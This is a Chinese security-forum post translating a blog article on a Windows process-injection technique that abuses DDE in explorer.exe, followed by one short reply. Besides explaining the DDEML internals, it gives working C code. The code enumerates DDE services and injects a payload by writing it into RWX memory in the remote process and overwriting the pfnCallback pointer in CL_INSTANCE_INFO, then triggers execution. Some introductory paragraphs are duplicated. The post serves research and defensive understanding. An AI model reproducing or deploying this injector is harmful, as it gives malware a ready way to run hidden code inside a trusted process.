首页
社区
课程
招聘
[翻译]Windows进程注入: 破坏BaDDEr
发表于: 2019-8-23 08:15 8097

[翻译]Windows进程注入: 破坏BaDDEr

2019-8-23 08:15
8097

原文:https://modexp.wordpress.com/2019/08/09/windows-process-injection-breaking-badder/

动态数据交换(Dynamic Data Exchange)是个数据共享协议,动态数据交换管理库(Dynamic Data Exchange Management Library)使应用程序能够通过DDE协议更方便地共享数据。2017年10月一个微软Office任意代码执行漏洞被发现后,DDE随即上了头条。从那以后,它就被默认关闭了,也就被大家认为是一个不重要的组件。本注入方法只局限于explorer.exe,当然如果你知道其它使用该协议的应用程序就另当别论了。我要感谢Adam关于使用DDE进行注入的讨论。

Windows 10里使用DDE的DLL有shell32.dll, ieframe.dll和twain_32.dll。shell32.dll在explorer.exe中创建了三个DDE服务。下面的代码使用DDEML API列出所有服务及服务所属的进程。

图1为创建DDE服务的反编译代码。

图1. shell32.dll中初始化DDE

所有核心功能都在user32!DdeInitializeW里。user32!InternalDdeInitialize在堆中为一个叫做CL_INSTANCE_INFO的结构申请了内存,该结构在公开SDK中没有,但在网上可以找到信息。

1.       通过注册的类名“DDEMLMom”找到DDE母窗口。

2.       使用GetWindowLongPtr读CL_INSTANCE_INFO的地址。

3.       在远程进程中申请权限为RWX的内存并写入payload。

4.       使用远程进程中payload的地址重写pfncallback函数的指针。

5.       触发执行DDE。

图2位母窗口的属性。正如你看到的,Window Bytes的索引0被置位了。这是CL_INSTANCE_INFO的地址。

下面的PoC举例该方法的工作效果。完整源代码见这里

动态数据交换(Dynamic Data Exchange)是个数据共享协议,动态数据交换管理库(Dynamic Data Exchange Management Library)使应用程序能够通过DDE协议更方便地共享数据。2017年10月一个微软Office任意代码执行漏洞被发现后,DDE随即上了头条。从那以后,它就被默认关闭了,也就被大家认为是一个不重要的组件。本注入方法只局限于explorer.exe,当然如果你知道其它使用该协议的应用程序就另当别论了。我要感谢Adam关于使用DDE进行注入的讨论。

枚举DDE服务

Windows 10里使用DDE的DLL有shell32.dll, ieframe.dll和twain_32.dll。shell32.dll在explorer.exe中创建了三个DDE服务。下面的代码使用DDEML API列出所有服务及服务所属的进程。

VOID dde_list(VOID) {
    CONVCONTEXT cc;
    HCONVLIST   cl;
    DWORD       idInst = 0;
    HCONV       c = NULL;
    CONVINFO    ci;
    WCHAR       server[MAX_PATH];
    
    if(DMLERR_NO_ERROR != DdeInitialize(&idInst, NULL, APPCLASS_STANDARD, 0)) {
      printf("unable to initialize : %i.\n", GetLastError());
      return;
    }
    
    ZeroMemory(&cc, sizeof(cc));
    cc.cb = sizeof(cc);
    cl = DdeConnectList(idInst, 0, 0, 0, &cc);
    
    if(cl != NULL) {
      for(;;) {
        c = DdeQueryNextServer(cl, c);
        if(c == NULL) break;
        ci.cb = sizeof(ci);
        DdeQueryConvInfo(c, QID_SYNC, &ci);
        DdeQueryString(idInst, ci.hszSvcPartner, server, MAX_PATH, CP_WINUNICODE);
        
        printf("Service : %-10ws Process : %ws\n", 
          server, wnd2proc(ci.hwndPartner));
      }
      DdeDisconnectList(cl);
    } else {
      printf("DdeConnectList : %x\n", DdeGetLastError(idInst));
    }
    DdeUninitialize(idInst);
}

DDE内部原理

图1为创建DDE服务的反编译代码。

图1. shell32.dll中初始化DDE

所有核心功能都在user32!DdeInitializeW里。user32!InternalDdeInitialize在堆中为一个叫做CL_INSTANCE_INFO的结构申请了内存,该结构在公开SDK中没有,但在网上可以找到信息。

typedef struct tagCL_INSTANCE_INFO {
    struct tagCL_INSTANCE_INFO *next;
    HANDLE                      hInstServer;
    HANDLE                      hInstClient;
    DWORD                       MonitorFlags;
    HWND                        hwndMother;
    HWND                        hwndEvent;
    HWND                        hwndTimeout;
    DWORD                       afCmd;
    PFNCALLBACK                 pfnCallback;
    DWORD                       LastError;
    DWORD                       tid;
    LATOM                      *plaNameService;
    WORD                        cNameServiceAlloc;
    PSERVER_LOOKUP              aServerLookup;
    short                       cServerLookupAlloc;
    WORD                        ConvStartupState;
    WORD                        flags;              // IIF_ flags
    short                       cInDDEMLCallback;
    PLINK_COUNT                 pLinkCount;
} CL_INSTANCE_INFO, *PCL_INSTANCE_INFO;
我们唯一需要关注的成员是pfnCallback。注入步骤为:

1.       通过注册的类名“DDEMLMom”找到DDE母窗口。

2.       使用GetWindowLongPtr读CL_INSTANCE_INFO的地址。

3.       在远程进程中申请权限为RWX的内存并写入payload。

4.       使用远程进程中payload的地址重写pfncallback函数的指针。

5.       触发执行DDE。

图2位母窗口的属性。正如你看到的,Window Bytes的索引0被置位了。这是CL_INSTANCE_INFO的地址。

图2. DDE服务的母窗口

注入

下面的PoC举例该方法的工作效果。完整源代码见这里

VOID dde_inject(LPVOID payload, DWORD payloadSize) {
	HWND             hw;
	SIZE_T           rd, wr;
	LPVOID           ptr, cs;
	HANDLE           hp;
	CL_INSTANCE_INFO pcii;
	CONVCONTEXT      cc;
	HCONVLIST        cl;
	DWORD            pid, idInst = 0;

	// 1. find a DDEML window and read the address of CL_INSTANCE_INFO
	// 1. 找到DDEML窗口并读CL_INSTANCE_INFO地址
	hw = FindWindowEx(NULL, NULL, L"DDEMLMom", NULL);
	if (hw == NULL) return;
	ptr = (LPVOID)GetWindowLongPtr(hw, GWLP_INSTANCE_INFO);
	if (ptr == NULL) return;

	// 2. open the process and read CL_INSTANCE_INFO
	// 2. 打开进程并读CL_INSTANCE_INFO
	GetWindowThreadProcessId(hw, &pid);
	hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
	if (hp == NULL) return;
	ReadProcessMemory(hp, ptr, &pcii, sizeof(pcii), &rd);

	// 3. allocate RWX memory and write payload there. update callback
	// 3. 申请RWX内存并写入payload
	// 修改回调函数指针
	cs = VirtualAllocEx(hp, NULL, payloadSize,
		MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
	WriteProcessMemory(
		hp, (PBYTE)ptr + offsetof(CL_INSTANCE_INFO, pfnCallback),
		&cs, sizeof(ULONG_PTR), &wr);

	// 4. trigger execution via DDE protocol
	// 4. 基于DDE协议触发执行
	DdeInitialize(&idInst, NULL, APPCLASS_STANDARD, 0);
	ZeroMemory(&cc, sizeof(cc));
	cc.cb = sizeof(cc);
	cl = DdeConnectList(idInst, 0, 0, 0, &cc);
	DdeDisconnectList(cl);
	DdeUninitialize(idInst);

	// 5. restore original pointer and cleanup
	// 5. 恢复原指针并清理
	WriteProcessMemory(
		hp,
		(PBYTE)ptr + offsetof(CL_INSTANCE_INFO, pfnCallback),
		&pcii.pfnCallback, sizeof(ULONG_PTR), &wr);

	VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);
	CloseHandle(hp);
}

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 1
支持
分享
最新回复 (1)
雪    币: 35739
活跃值: (7155)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
2
好深奥啊。
2019-10-2 17:16
0
游客
登录 | 注册 方可回帖
返回
//